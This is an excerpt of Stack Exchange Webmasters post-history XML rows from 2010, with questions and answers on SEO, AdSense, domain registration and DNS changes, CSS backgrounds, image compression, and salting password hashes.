  <row Id="6464" PostHistoryTypeId="3" PostId="3301" RevisionGUID="2ed3d0a9-b569-40b6-ab23-290cde4adee3" CreationDate="2010-09-25T22:00:24.923" UserId="2081" Text="&lt;seo&gt;" />
  <row Id="6465" PostHistoryTypeId="2" PostId="3302" RevisionGUID="a172ac01-c332-4ab6-8854-45aba86581fe" CreationDate="2010-09-25T22:52:00.747" UserId="138" Text="If you want to get rid of these sites, then go here: https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=18386 (I've submitted a few before that were advertising porn under search terms popular with children)&#xD;&#xA;&#xD;&#xA;If you want to do this yourself, then I doubt you'll find what you're looking for here." />
  <row Id="6466" PostHistoryTypeId="2" PostId="3303" RevisionGUID="046d4821-6759-44ad-993e-6a4f1192a9f7" CreationDate="2010-09-25T22:57:42.590" UserId="138" Text="Google used to include a `&lt;noscript&gt;` version of their tracking code by default, but it seems to have dissapeared with the new GA code they introduced about 18 months ago.&#xD;&#xA;&#xD;&#xA;That said, there are ways to do this quite effectively yourself. The script [on this page][1] might be of use (we were looking into using it ourselves).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://remysharp.com/2009/10/15/the-missing-stat-noscript/" />
  <row Id="6467" PostHistoryTypeId="2" PostId="3304" RevisionGUID="d13b8d37-9a5a-4704-8410-c24e5de77019" CreationDate="2010-09-26T04:17:29.033" UserId="2082" Text="I want register a domain under the .eu TLD, but I don't live in Europe [which is a requiriment to that].&#xD;&#xA;&#xD;&#xA;I'd like to know if there is any website which register the domain on its name or any other solution.&#xD;&#xA;" />
  <row Id="6468" PostHistoryTypeId="1" PostId="3304" RevisionGUID="d13b8d37-9a5a-4704-8410-c24e5de77019" CreationDate="2010-09-26T04:17:29.033" UserId="2082" Text="How to register a .eu domain?" />
  <row Id="6469" PostHistoryTypeId="3" PostId="3304" RevisionGUID="d13b8d37-9a5a-4704-8410-c24e5de77019" CreationDate="2010-09-26T04:17:29.033" UserId="2082" Text="&lt;domains&gt;&lt;top-level-domains&gt;" />
  <row Id="6470" PostHistoryTypeId="2" PostId="3305" RevisionGUID="04d0d478-d476-486d-b1f7-e6d2a7c2b59a" CreationDate="2010-09-26T10:24:07.113" UserId="89" Text="If you want it to &quot;feel like&quot; one site go with folders (example.com/tech), this will make promoting the site easier (both for SEO and for promoting to people) because you focus all your promotion activities on one simpler domain name.&#xD;&#xA;&#xD;&#xA;If you want it to be a network of sites go with completely different domain (example: stackoverflow.com, serverfault.com, superuser.com) this will let you separate the communities and differentiate the sites in ways that make sense.&#xD;&#xA;&#xD;&#xA;I wouldn't go with subdomains because they are an half-way solution with most of the disadvantages of both approaches but without most of the benefits.&#xD;&#xA;&#xD;&#xA;I would only use subdomains when I have different accounts on same system (example blogspot.com) &#xD;&#xA;&#xD;&#xA;When starting up something new I would go with the single domain approach, I need any help I can get getting things off the ground and focusing all the &quot;reputation&quot; on a single domain can help get more visitors." />
  <row Id="6471" PostHistoryTypeId="5" PostId="3298" RevisionGUID="506ac069-848a-4b9a-a00d-2095c459b5b6" CreationDate="2010-09-26T13:26:59.600" UserId="2010" Comment="Edited to focus on e-commerce platforms, not generic CMS" Text="I'm looking for a good search engine friendly e-commerce platform built on microsoft technology. I know that Magento is maybe the best choice if you are on a LAMP stack but now i'm forced to make my choice in the Microsoft realm. &#xD;&#xA;&#xD;&#xA;Here's some candidates platform that seems to integrate some search engine friendly features: &#xD;&#xA;&#xD;&#xA;- ASPdotNet Storefron&#xD;&#xA;- Znode&#xD;&#xA;- Able Commerce &#xD;&#xA;&#xD;&#xA;Anyone have experience with them or can suggest other candidates? &#xD;&#xA;" />
  <row Id="6472" PostHistoryTypeId="4" PostId="3298" RevisionGUID="506ac069-848a-4b9a-a00d-2095c459b5b6" CreationDate="2010-09-26T13:26:59.600" UserId="2010" Comment="Edited to focus on e-commerce platforms, not generic CMS" Text="Good search engine friendly  e-commerce platform on Microsoft technology" />
  <row Id="6473" PostHistoryTypeId="6" PostId="3298" RevisionGUID="506ac069-848a-4b9a-a00d-2095c459b5b6" CreationDate="2010-09-26T13:26:59.600" UserId="2010" Comment="Edited to focus on e-commerce platforms, not generic CMS" Text="&lt;seo&gt;&lt;ecommerce&gt;&lt;microsoft&gt;" />
  <row Id="6474" PostHistoryTypeId="2" PostId="3306" RevisionGUID="c104e362-0cf9-4f84-92cf-60f5757ff8a2" CreationDate="2010-09-26T15:27:10.960" UserId="89" Text="I've just tested a few programs last week, on my tests [PNGOUT](http://advsys.net/ken/utils.htm) produced the smallest PNGs.&#xD;&#xA;&#xD;&#xA;Note that you can get even better results by modifying the image, especially by reducing the number of colors used." />
  <row Id="6475" PostHistoryTypeId="2" PostId="3307" RevisionGUID="80f12ae1-7855-4168-a75c-4c3dbc5f820a" CreationDate="2010-09-26T15:46:32.307" UserId="89" Text="1. For highest value traffic - find blogs that are relevant to the topic of your web site and try to get them to write about you, participate in forums in related areas, find people who tweet about the topic and contact them, do guest post - whatever it takes to get your self out there.&#xD;&#xA;&#xD;&#xA;2. For longer term traffic - create a blog to build your own following, use social media and get as many friends/followers has possible, create a mailing list and get people to sign up&#xD;&#xA;&#xD;&#xA;3. For sustainable long term traffic - do SEO (this is mostly about publishing content - and that goes well with point 2).&#xD;&#xA;&#xD;&#xA;4. For an expensive quick less-high-quality traffic use AdWords and other PPC advertising.&#xD;&#xA;&#xD;&#xA;From my expiration learning to use AdWords is difficult, all the default settings are optimized to make Google more money not to get you good traffic - and until you learn all the major pitfalls you will spend a lot of money for nothing (also after you get over the major pitfalls you must continually tweak your settings to keep everything working).&#xD;&#xA;&#xD;&#xA;For me AdWords was not cost effective and a single post on a mid-traffic blog (that recommended my product without me contacting them!) got me more sales than anything I've done." />
  <row Id="6476" PostHistoryTypeId="12" PostId="3300" RevisionGUID="8f57a57b-0eb2-480d-8479-e86bdfe7170f" CreationDate="2010-09-26T16:08:34.673" UserId="288" Text="[{&quot;Id&quot;:288,&quot;DisplayName&quot;:&quot;ChrisF&quot;}]" />
  <row Id="6477" PostHistoryTypeId="5" PostId="3300" RevisionGUID="6fa01d37-add2-471a-a914-f0dda662c44e" CreationDate="2010-09-26T16:09:36.410" UserId="288" Comment="more info" Text="I've used [Kentico](http://www.kentico.com/home.aspx) in the past. It's well supported and generates SEO friendly pages. It generates URLs from the page titles and doesn't use parameters [from here](http://www.kentico.com/getdoc/32a58a34-7ccf-405b-9683-c2d77ba217f5/Friendly-URLs-and-SEO.aspx). It also has [e-commerce support](http://www.kentico.com/getdoc/1f25e79d-957b-439b-9ea7-6bb1843b6838/E-commerce.aspx)." />
  <row Id="6478" PostHistoryTypeId="13" PostId="3300" RevisionGUID="390ba424-843a-4d67-a267-80365e444137" CreationDate="2010-09-26T16:09:42.177" UserId="288" Text="[{&quot;Id&quot;:288,&quot;DisplayName&quot;:&quot;ChrisF&quot;}]" />
  <row Id="6479" PostHistoryTypeId="2" PostId="3308" RevisionGUID="0b79bd28-0e97-4a7a-bd7d-bdba6b17eaa0" CreationDate="2010-09-26T20:03:38.030" UserId="1024" Text="If you are registered with the AdSense program once, you can put your ads on any site you whish. It's up to you to obey the rules." />
  <row Id="6480" PostHistoryTypeId="2" PostId="3309" RevisionGUID="f1587452-1fcf-4046-bc01-47b6b4a3d6a6" CreationDate="2010-09-26T20:43:43.443" UserId="172" Text="When storing user credentials in a database, we all know that hashing the password is the bare minimum you should do, but salting it before hashing is better. The salt should be randomly generated, long enough, and unique for each user.&#xD;&#xA;&#xD;&#xA;I remember reading somewhere (but I don't remember where) an article about using **two** salts (both long enough and randomly generated) :&#xD;&#xA;&#xD;&#xA;1. One global salt&#xD;&#xA;2. One unique-per-entry salt&#xD;&#xA;&#xD;&#xA;The resulting hash would be : `hash(globalSalt + password + uniqueSalt)` (the order of concatenation is not really important).&#xD;&#xA;&#xD;&#xA;Is there any reason why this would be more secure than simply having one unique salt per entry ? We suppose that the attacker has access to the code files where the global salt is stored." />
  <row Id="6481" PostHistoryTypeId="1" PostId="3309" RevisionGUID="f1587452-1fcf-4046-bc01-47b6b4a3d6a6" CreationDate="2010-09-26T20:43:43.443" UserId="172" Text="Using two salts for user authentication ?" />
  <row Id="6482" PostHistoryTypeId="3" PostId="3309" RevisionGUID="f1587452-1fcf-4046-bc01-47b6b4a3d6a6" CreationDate="2010-09-26T20:43:43.443" UserId="172" Text="&lt;security&gt;&lt;authentication&gt;&lt;password&gt;&lt;hash&gt;" />
  <row Id="6483" PostHistoryTypeId="2" PostId="3310" RevisionGUID="33f88cf4-acbb-4153-8fa2-d8f7581d1f28" CreationDate="2010-09-26T22:18:09.383" UserId="2082" Text="&gt; I'm thinking option 2 has the benefit that users interested in a topic will feel like they have a site dedicated to their interest. &#xD;&#xA;&#xD;&#xA;It's true, but having different websites for each topic would split your community [if you want have one].&#xD;&#xA;&#xD;&#xA;Putting everything together would allow users to &quot;accidentally&quot; go in a topic he likes, even it wasn't exactly what he was looking for.&#xD;&#xA;&#xD;&#xA;Maybe a good idea would kepp everything on a main site and, when a specific topic has got enough size, split it from the rest." />
  <row Id="6484" PostHistoryTypeId="2" PostId="3311" RevisionGUID="263e46f8-0d4e-4681-a987-84c996a23ccd" CreationDate="2010-09-26T22:55:14.910" UserId="1857" Text="I don't like to write this, but for once I think this question will get better answers elsewhere -- on Stack Overflow.&#xD;&#xA;&#xD;&#xA;I don't get the value of that second salt at all. **If the cryptographic hash function is good, then that second salt seems completely redundant to me.** It would be better to use a combination of:&#xD;&#xA;&#xD;&#xA; - A stronger hash function (more modern, better peer reviewed).&#xD;&#xA; - More passes through the hash function, to increase computational cost of an attack.&#xD;&#xA;&#xD;&#xA;**The first salt (which you call global) is important because:**&#xD;&#xA;&#xD;&#xA; - It protects against attacks with pre-computed [rainbow tables][1].&#xD;&#xA; - The attacker is required to obtain 2 things to really make progress, the user data from the database, and the salt from the application code.&#xD;&#xA;&#xD;&#xA;&gt; than simply having one unique salt per entry ?&#xD;&#xA;&#xD;&#xA;I'm not sure I follow -- what do you mean by this, and where would it be stored? You don't want another column in the same database as the rest of the user data; that would kind of defeat the point.&#xD;&#xA;&#xD;&#xA;**My opinion: If you feel your hash function is weak** (MD4, MD5 or older), then switch to a more modern hash function ([SHA-2][2]) or use [many passes if switching function isn't an option][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Rainbow_table&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SHA-2#Comparison_of_SHA_functions&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Key_strengthening" />
  <row Id="6485" PostHistoryTypeId="5" PostId="3311" RevisionGUID="a13c520d-b78b-47e7-9635-caf7734e45e3" CreationDate="2010-09-26T23:02:26.627" UserId="1857" Comment="added 164 characters in body; added 90 characters in body; deleted 4 characters in body" Text="I don't like to write this, but for once I think this question will get better answers elsewhere -- on Stack Overflow.&#xD;&#xA;&#xD;&#xA;I don't get the value of that second salt at all. **If the cryptographic hash function is good, then that second salt seems redundant to me.** It would be better to use a combination of:&#xD;&#xA;&#xD;&#xA; - A stronger hash function (more modern, better peer reviewed).&#xD;&#xA; - More passes through the hash function, to increase computational cost of an attack.&#xD;&#xA;&#xD;&#xA;**The first salt (which you call global) is important because:**&#xD;&#xA;&#xD;&#xA; - It protects against attacks with pre-computed [rainbow tables][1].&#xD;&#xA; - The attacker is required to obtain 2 things to really make progress, the user data from the database, and the salt from the application code.&#xD;&#xA;&#xD;&#xA;&gt; than simply having one unique salt per entry ?&#xD;&#xA;&#xD;&#xA;I'm not sure I follow -- what do you mean by this, where would it be stored? You don't want another &quot;salt&quot; column in the same database as the rest of the user data; that would kind of defeat the point. If you store it in another secure system, then it's effectively another password layer. That's of course good, but also expensive and hard to do.&#xD;&#xA;&#xD;&#xA;**My opinion: If you feel your hash function is weak** (MD5 or older), then either:&#xD;&#xA;&#xD;&#xA; - switch to a more modern hash function ([SHA-2][2]) **or**&#xD;&#xA; - use [many passes if switching function isn't an option][3].&#xD;&#xA;&#xD;&#xA;That should be 'good enough' for most common (not defence, not high security) websites today.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Rainbow_table&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SHA-2#Comparison_of_SHA_functions&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Key_strengthening" />
  <row Id="6486" PostHistoryTypeId="2" PostId="3312" RevisionGUID="e18931f1-f847-4105-988b-3928d20ecdc0" CreationDate="2010-09-26T23:14:55.500" UserId="1253" Text="This pretty much has already been asked on StackOverflow: [Double salt for hashing passwords?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2065558/double-salt-for-hashing-passwords" />
  <row Id="6487" PostHistoryTypeId="5" PostId="3311" RevisionGUID="3736ce52-8807-415d-8794-122bd70b37cf" CreationDate="2010-09-26T23:31:08.970" UserId="1857" Comment="deleted 512 characters in body; added 106 characters in body" Text="**I wrote an answer, then read a little more, and substatially edited my answer.** &#xD;&#xA;This question has already been debated on Stack Overflow. The [accepted answer on this question][1] is a good starting point, follow the links.&#xD;&#xA;&#xD;&#xA;My take is that:&#xD;&#xA;&#xD;&#xA;**The static salt (which you call global) is important because:**&#xD;&#xA;&#xD;&#xA; - It is simple to implement, and doesn't require a database lookup at runtime, i.e. it's easy to scale.&#xD;&#xA; - It protects against brute-force attacks with pre-computed [rainbow tables][1].&#xD;&#xA; - This salt is static, and can be stored as a global constant in the the application code, or read from an INI file. This way getting access to the database (SQL injection attack for example) does not necessarily reveal this salt.&#xD;&#xA;&#xD;&#xA;**The per-password salt is useful because:**&#xD;&#xA;&#xD;&#xA; - It is a random string, unique for each password. This effectively makes the total search space for brute-force attacks N x N for N passwords.&#xD;&#xA;&#xD;&#xA;Another useful tip that I learned from the Stack Overflow discussions is encrypting the *username* if possible. I hadn't actually thought of that, but it does of course make good sense in certain scenarios.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1054022/best-way-to-store-password-in-database" />
  <row Id="6488" PostHistoryTypeId="5" PostId="3311" RevisionGUID="2e0c41a7-c641-4720-b02e-c556d466c38b" CreationDate="2010-09-26T23:41:32.193" UserId="1857" Comment="added 297 characters in body; deleted 83 characters in body; added 38 characters in body" Text="**I wrote an answer, then read a little more, and substatially edited my answer.** &#xD;&#xA;This question has already been debated on Stack Overflow. The [accepted answer on this question][1] is a good starting point, follow the links.&#xD;&#xA;&#xD;&#xA;My take is that:&#xD;&#xA;&#xD;&#xA;**The static salt (which you call global) is important because:**&#xD;&#xA;&#xD;&#xA; - It is simple to implement, and doesn't require a database lookup at runtime, i.e. it's easy to scale.&#xD;&#xA; - This salt is static, and can be stored as a global constant in the the application code, or read from an INI file. This way getting access to the database (SQL injection attack for example) does not necessarily reveal this salt.&#xD;&#xA;&#xD;&#xA;**The per-password salt is useful because:**&#xD;&#xA;&#xD;&#xA; - It is a random string, unique for each password, generated on the server side, and stored in plain text in the database. For N passwords, this effectively makes the total search space for a [rainbow table][3] attach N x N. This cannot be effectively attacked by pre-computed rainbow tables today due to the sheer size of the dataset.&#xD;&#xA;&#xD;&#xA;Another useful tip that I learned from the Stack Overflow discussions is encrypting the *username* if possible. I hadn't actually thought of that, but it does of course make good sense in certain scenarios.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1054022/best-way-to-store-password-in-database&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1054022/best-way-to-store-password-in-database&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Rainbow_table" />
  <row Id="6489" PostHistoryTypeId="2" PostId="3313" RevisionGUID="293cb763-806f-4e76-9b50-29e1c42e3dad" CreationDate="2010-09-27T00:57:33.227" UserId="233" Text="Since Google indexes PDF files then a more descriptive URL *will* help in ranking. However the benefit is likely to be pretty small. (This is partly because PDF files generally do not garner many direct links and thus are rare in search results.)&#xD;&#xA;&#xD;&#xA;If possible, I would suggest creating a HTML version of the PDF, with a link to &quot;download as PDF&quot;. You should end up with a better ranking for the HTML page." />
  <row Id="6490" PostHistoryTypeId="2" PostId="3314" RevisionGUID="cccd586f-b360-44b6-a838-ffc45d6015bc" CreationDate="2010-09-27T01:12:41.760" UserId="233" Text="The page you are redirected to includes this code:&#xD;&#xA;&#xD;&#xA;    &lt;meta name='robots' content='noindex,nofollow' /&gt;&#xD;&#xA;&#xD;&#xA;This instructs the search engines not to index that page nor follow any links from it. So I recommend removing that ASAP.&#xD;&#xA;&#xD;&#xA;Regarding the title: when I search for `+&quot;pubvantage&quot;` I currently see &quot;wordpress&quot; as the page title. Since there is no content on pubvantage.com and the contextweb.com site is not indexed, the title is probably coming from a link to pubvantage.com. If you have control over any links to the site, try changing them to &quot;PubVantage&quot; or whatever makes sense.&#xD;&#xA;&#xD;&#xA;Longer term it is more beneficial to return a regular site at pubvantage.com. If you don't have your own content it is fairly straightforward to change the domain's &quot;A NAME&quot; to point to the other page." />
  <row Id="6491" PostHistoryTypeId="2" PostId="3315" RevisionGUID="9dd45f9c-dc85-4232-af57-aa2dcefd4a38" CreationDate="2010-09-27T04:06:29.697" UserId="2035" Text="This question is just simple. I'm a web developer for 1 year now, particularly client-side html/css/jquery thing. I can do psd to (x)html average 3 pages per day. These pages are IE6,7,8,FF,GC,Safari,Opera compatible.&#xD;&#xA;&#xD;&#xA;The question is, based on my experience, am I slow? What is your average number of pages per day? If you have any suggestion to make my work faster, please do. &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="6492" PostHistoryTypeId="1" PostId="3315" RevisionGUID="9dd45f9c-dc85-4232-af57-aa2dcefd4a38" CreationDate="2010-09-27T04:06:29.697" UserId="2035" Text="average (x)html page per day" />
  <row Id="6493" PostHistoryTypeId="3" PostId="3315" RevisionGUID="9dd45f9c-dc85-4232-af57-aa2dcefd4a38" CreationDate="2010-09-27T04:06:29.697" UserId="2035" Text="&lt;web-development&gt;" />
  <row Id="6497" PostHistoryTypeId="2" PostId="3317" RevisionGUID="212e49d3-e1d2-4520-8792-9178b6d6cc45" CreationDate="2010-09-27T08:55:51.487" UserId="1089" Text="Are you absolutely google are serving the ads? Just because it looks like a google ad doesn't mean it is a google ad.&#xD;&#xA;" />
  <row Id="6498" PostHistoryTypeId="2" PostId="3318" RevisionGUID="3dd5365d-8b09-4cae-861a-b634840c4a14" CreationDate="2010-09-27T09:10:47.730" UserId="1001" Text="you could use css rules for multiple backgrounds&#xD;&#xA;&#xD;&#xA;    div.container {&#xD;&#xA;    background-image: url(images/bg_top.png), url(images/bg_bottom.png);&#xD;&#xA;    background-repeat: repeat-x;&#xD;&#xA;    background-position: top left, bottom left;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;That should work." />
  <row Id="6499" PostHistoryTypeId="2" PostId="3319" RevisionGUID="cc650c28-45df-4a9e-9f43-65b61b39d90a" CreationDate="2010-09-27T13:48:31.370" UserId="1253" Text="If you site is a blog you can ping lots of aggregators. Here's a list currently recommended by [Wordpress][1]:&#xD;&#xA;&#xD;&#xA; - http://rpc.pingomatic.com&#xD;&#xA; - http://api.feedster.com/ping&#xD;&#xA; - http://api.moreover.com/RPC2&#xD;&#xA; - http://api.moreover.com/ping&#xD;&#xA; - http://api.my.yahoo.com/RPC2&#xD;&#xA; - http://api.my.yahoo.com/rss/ping&#xD;&#xA; - http://www.blogdigger.com/RPC2&#xD;&#xA; - http://www.blogshares.com/rpc.php&#xD;&#xA; - http://www.blogsnow.com/ping&#xD;&#xA; - http://www.blogstreet.com/xrbin/xmlrpc.cgi&#xD;&#xA; - http://bulkfeeds.net/rpc&#xD;&#xA; - http://www.newsisfree.com/xmlrpctest.php&#xD;&#xA; - http://ping.blo.gs/&#xD;&#xA; - http://ping.feedburner.com&#xD;&#xA; - http://ping.syndic8.com/xmlrpc.php&#xD;&#xA; - http://ping.weblogalot.com/rpc.php&#xD;&#xA; - http://rpc.blogrolling.com/pinger/&#xD;&#xA; - http://rpc.technorati.com/rpc/ping&#xD;&#xA; - http://rpc.weblogs.com/RPC2&#xD;&#xA; - http://www.feedsubmitter.com&#xD;&#xA; - http://blo.gs/ping.php&#xD;&#xA; - http://www.pingerati.net&#xD;&#xA; - http://www.pingmyblog.com&#xD;&#xA; - http://geourl.org/ping&#xD;&#xA; - http://ipings.com&#xD;&#xA; - http://www.weblogalot.com/ping&#xD;&#xA;&#xD;&#xA;That page also list other ping services that you may find useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Update_Services" />
  <row Id="6500" PostHistoryTypeId="16" PostId="3319" RevisionGUID="cc650c28-45df-4a9e-9f43-65b61b39d90a" CreationDate="2010-09-27T13:48:31.370" UserId="-1" />
  <row Id="6501" PostHistoryTypeId="2" PostId="3320" RevisionGUID="50a9b78d-1580-4633-af15-7dcffa61b84f" CreationDate="2010-09-27T13:52:15.963" UserId="2026" Text="`link:article-stack.com` is giving 5 links. all are from my site only.&#xD;&#xA;&#xD;&#xA;I wrote an article over sulekha.com many days. But it doesnt come in result until i secially search for it.&#xD;&#xA;&#xD;&#xA;Previously `link:article-stack.com` search  was showing 6 links. some of them were from wordpress as well. Now those links are not coming in result while all links are still present.&#xD;&#xA;" />
  <row Id="6502" PostHistoryTypeId="1" PostId="3320" RevisionGUID="50a9b78d-1580-4633-af15-7dcffa61b84f" CreationDate="2010-09-27T13:52:15.963" UserId="2026" Text="Why google is not showing links to my site in result?" />
  <row Id="6503" PostHistoryTypeId="3" PostId="3320" RevisionGUID="50a9b78d-1580-4633-af15-7dcffa61b84f" CreationDate="2010-09-27T13:52:15.963" UserId="2026" Text="&lt;google&gt;" />
  <row Id="6504" PostHistoryTypeId="2" PostId="3321" RevisionGUID="14cae19a-4ca3-426b-923e-ac71317b48de" CreationDate="2010-09-27T14:13:14.153" UserId="2032" Text="First time I've ever had to redirect a domain from one web host to another. I'm not moving the domain registration as the domain is due to be renewed soon so don't want to risk any complications.&#xD;&#xA;&#xD;&#xA;I've followed a detailed guide ([http://www.thesitewizard.com/domain/point-domain-name-website.shtml][1]) but is it just the NS addresses I need to change with that of the new web host?&#xD;&#xA;&#xD;&#xA;Assuming the above is correct, would it be normal for this to take longer than 3 days to replicate globally?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thesitewizard.com/domain/point-domain-name-website.shtml" />
  <row Id="6505" PostHistoryTypeId="1" PostId="3321" RevisionGUID="14cae19a-4ca3-426b-923e-ac71317b48de" CreationDate="2010-09-27T14:13:14.153" UserId="2032" Text="Redirecting domain from one web host to another" />
  <row Id="6506" PostHistoryTypeId="3" PostId="3321" RevisionGUID="14cae19a-4ca3-426b-923e-ac71317b48de" CreationDate="2010-09-27T14:13:14.153" UserId="2032" Text="&lt;web-hosting&gt;&lt;name-servers&gt;" />
  <row Id="6507" PostHistoryTypeId="2" PostId="3322" RevisionGUID="6b8e7882-7ca1-49ee-b9c8-c42d6334c413" CreationDate="2010-09-27T14:18:37.740" UserId="2032" Text="you're sure that the other links aren't `rel=&quot;nofollow&quot;` ? Otherwise search engines won't consider them in SEO rankings." />
  <row Id="6508" PostHistoryTypeId="2" PostId="3323" RevisionGUID="ee4d480e-cc30-4561-9fa3-620b9d4cb696" CreationDate="2010-09-27T14:23:19.033" UserId="1253" Text="I think a better way to have handled this is not to have changed the nameservers but simply to have changed the A record for the domain to be the IP address of the new web host. Then after the domain was renewed I would have changed the name servers to the new web host. Simpler and maybe less complicated.&#xD;&#xA;&#xD;&#xA;But either way the change should have occurred worldwide by now unless the TTL is set to be greater then 72 hours or an intermediate server is caching the DNS longer then they should be. I'd check to see what the TTL is on your current server and if it is too high lower it. You still have to wait for it to expire on any server using the current TTL but this would ultimately speed things along." />
  <row Id="6509" PostHistoryTypeId="2" PostId="3324" RevisionGUID="7f856663-1118-4e05-aa42-e2a5614b3254" CreationDate="2010-09-27T14:29:23.020" UserId="233" Text="There are many possible reasons the most likely being that the link to your site is from a newly-indexed page. If it's only been a few days and neither website is really popular then Google has not spidered the link yet.&#xD;&#xA;&#xD;&#xA;It may take a few weeks for Googlebot to even find the link, then maybe more days or weeks for it to list it in its index for `link:` queries.&#xD;&#xA;&#xD;&#xA;Other possible reasons:&#xD;&#xA;&#xD;&#xA;* Google doesn't show all links to your site, only a portion.&#xD;&#xA;* The links to your site could use `rel=&quot;nofollow&quot;` and won't be counted.&#xD;&#xA;* The links use Javascript or Flash some other method that the search engines don't recognise.&#xD;&#xA;&#xD;&#xA;Your best bet is to sign up to [Google Webmaster Tools][1]. Once your site is verified there you will get a much better picture of links to your site and other goodies. Another useful tool is [Open Site Explorer][2] but often it will be behind Google etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/&#xD;&#xA;  [2]: http://www.opensiteexplorer.org" />
  <row Id="6510" PostHistoryTypeId="2" PostId="3325" RevisionGUID="dd179a26-7f35-48d7-830b-2312f6b6ad4a" CreationDate="2010-09-27T14:39:59.230" UserId="2092" Text="http://i.stack.imgur.com/z8yEP.png &lt;- screenshot for this question (not enough reputation)&#xD;&#xA;&#xD;&#xA;I am using fixed position images as seen at &#xD;&#xA;css-tricks.com/examples/BlurryBackgroundEffect/ &#xD;&#xA;to create a glassy effect to a web project I'm working on. As you can see on the screenshot above often the content block image fails to display until the browser is forced to make a redraw by scrolling etc.&#xD;&#xA;&#xD;&#xA;I've tried preloading them, using both onload and hidden img tags separately, but it still happens.&#xD;&#xA;&#xD;&#xA;This is not a massive issue but if anyone understands why this occurs it would be really helpful." />
  <row Id="6511" PostHistoryTypeId="1" PostId="3325" RevisionGUID="dd179a26-7f35-48d7-830b-2312f6b6ad4a" CreationDate="2010-09-27T14:39:59.230" UserId="2092" Text="Fixed background images not displaying correctly on any web browser" />
  <row Id="6512" PostHistoryTypeId="3" PostId="3325" RevisionGUID="dd179a26-7f35-48d7-830b-2312f6b6ad4a" CreationDate="2010-09-27T14:39:59.230" UserId="2092" Text="&lt;css&gt;&lt;images&gt;" />
  <row Id="6513" PostHistoryTypeId="2" PostId="3326" RevisionGUID="2507a105-afee-4b5a-a642-fc4ef9d29186" CreationDate="2010-09-27T15:00:23.920" UserId="233" Text="The rate you can convert PSD to HTML is dependent on many things, including how complex the design is, browser support requirements (e.g. IE6), how much functionality is needed and of course your own expertise.&#xD;&#xA;&#xD;&#xA;So it's impossible to judge if you are slow. If you are freelance and are earning enough money for the work you're doing then there isn't a problem." />
  <row Id="6514" PostHistoryTypeId="2" PostId="3327" RevisionGUID="e3de5c7b-ac0a-45ca-aa90-1ddeb388cc7e" CreationDate="2010-09-27T15:19:13.517" UserId="2026" Text="I find that photoshop is lees effective than online tools. If you compromise with 80% quality of image then its size can be reduced to half.&#xD;&#xA;&#xD;&#xA;Better way is to take a good resolution image then compress it using some onine tools as suggested here. Then use Office image viewer to resize and compression.&#xD;&#xA;&#xD;&#xA;I hope u'll get what you want" />
  <row Id="6515" PostHistoryTypeId="5" PostId="3322" RevisionGUID="9cada3e7-ad82-46d9-8f71-0808c9194821" CreationDate="2010-09-27T15:40:02.993" UserId="2032" Comment="added 510 characters in body" Text="you're sure that the other links aren't `rel=&quot;nofollow&quot;` ? Otherwise search engines won't consider them in SEO rankings.&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;Misunderstood your question slightly. If you're talking about your own links to internal pages then it just means Google isn't indexing them quickly. This can be improved significantly by using the WordPress sitemaps addon: [http://wordpress.org/extend/plugins/google-sitemap-generator/][1] (I'm assuming you're using WordPress). It helps Google index every page on your website by listing all of them. I highly recommend it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/google-sitemap-generator/" />
  <row Id="6516" PostHistoryTypeId="2" PostId="3328" RevisionGUID="6bebcdec-a59e-46cc-a33b-350c182a1fb5" CreationDate="2010-09-27T15:41:42.400" UserId="1426" Text="Site: queries via. Google are not very accurate for reporting inbound links. The &lt;a href=&quot;http://siteexplorer.search.yahoo.com/search?p=http://article-stack.com&quot;&gt;same query via. Yahoo site explorer&lt;/a&gt; shows over 2,000 links to your domain (although many of them are suspicious looking, which is probably not helping your case).&#xD;&#xA;&#xD;&#xA;As DisgruntledGoat suggested, get onto Webmaster Tools which will give you better numbers, and give it some time." />
  <row Id="6517" PostHistoryTypeId="10" PostId="3315" RevisionGUID="d98da02c-5191-4891-aaf3-2f28d542267e" CreationDate="2010-09-27T16:25:33.893" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="6518" PostHistoryTypeId="16" PostId="3326" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-27T16:30:25.337" UserId="55" />
  <row Id="6519" PostHistoryTypeId="16" PostId="3315" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-27T16:30:25.337" UserId="55" />
  <row Id="6520" PostHistoryTypeId="16" PostId="3274" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-27T16:31:17.623" UserId="55" />
  <row Id="6521" PostHistoryTypeId="16" PostId="3277" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-27T16:31:17.623" UserId="55" />
  <row Id="6522" PostHistoryTypeId="16" PostId="3306" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-27T16:31:17.623" UserId="55" />
  <row Id="6523" PostHistoryTypeId="16" PostId="3327" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-27T16:31:17.623" UserId="55" />
